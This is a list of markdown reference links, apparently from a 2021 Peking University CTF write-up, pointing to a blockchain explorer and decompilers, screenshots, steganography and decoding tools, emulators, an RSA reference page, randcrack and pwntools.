[Etherscan]: https://ropsten.etherscan.io/
[Link 2]: https://ropsten.etherscan.io/address/0xa43028c702c3B119C749306461582bF647Fd770a
[Link 3]: https://ropsten.etherscan.io/bytecode-decompiler?a=0xa43028c702c3B119C749306461582bF647Fd770a
[Link 4]: https://ethervm.io/decompile/ropsten/0xa43028c702c3B119C749306461582bF647Fd770a
[2021-11-07]: https://ropsten.etherscan.io/tx/0x26c021f066afcd313150ca57bfe828b47f93c4986297b201e4dff02c525a9b2e#statechange
[Internal transaction]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/efa6efe7b34141c4a09bbc868c682c68.png
[Charles_pcap]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d214818e577b4a438db6de6a20634e25.png
[Charles_flag1.txt]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/23ae24fb8c2243b6b4cae307e7747097.png
[Wireshark]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/7a93cba4e5ed404eb5c0abe059d36be6.png
[you-kali-vm]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d699945cb2ac43d08d9cb5f0ab838e49.png
[Album Cover]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/dc1eb5957fa5411a8efe42fe9cf7ebc2.png
[StegSolve]: http://www.caesum.com/handbook/Stegsolve.jar
[LSB]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/9977b4eb07b54e229421151c31f3acce.png
[Link 5]: http://www.atoolbox.net/Tool.php?Id=778
[83b9b2cf9295a572c26ae17880d99242.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/4e9f60d973ef4584a80346be071c6e26.png
[Ook_ Programming Language - Esoteric Code Decoder_ Encoder_ Translator]: https://www.dcode.fr/ook-language
[StegOnline]: https://github.com/Ge0rg3/StegOnline
[Link 6]: https://zhidao.baidu.com/question/394971095.html
[awesome-emulators]: https://github.com/alnacle/awesome-emulators
[Nestopia]: https://sourceforge.net/projects/nestopia/files/Nestopia/
[Link 7]: https://www.youtube.com/watch?v=9aGwbdJq8ls
[Cheat Engine]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/8065e535820a4606b324dee304cf14d2.png
[Link 8]: https://ctf-wiki.org/crypto/asymmetric/rsa/rsa_theory/
[randcrack]: https://github.com/tna0y/Python-random-module-cracker
[pwntools]: https://github.com/Gallopsled/pwntools
[https_zhangshuqiao.org_2021-11_E7_AC_AC_E4_B8_80_E5_B1_8A_E5_8C_97_E4_BA_AC_E5_A4_A7_E5_AD_A6_E4_BF_A1_E6_81_AF_E5_AE_89_E5_85_A8_E7_BB_BC_E5_90_88_E8_83_BD_E5_8A_9B_E7_AB_9E_E8_B5_9B_E4_B8_AA_E4_BA_BA_E9_A2_98_E8_A7_A3_E6_89_AB_E9_9B_B7]: https://zhangshuqiao.org/2021-11/%E7%AC%AC%E4%B8%80%E5%B1%8A%E5%8C%97%E4%BA%AC%E5%A4%A7%E5%AD%A6%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%BB%BC%E5%90%88%E8%83%BD%E5%8A%9B%E7%AB%9E%E8%B5%9B%E4%B8%AA%E4%BA%BA%E9%A2%98%E8%A7%A3/#%E6%89%AB%E9%9B%B7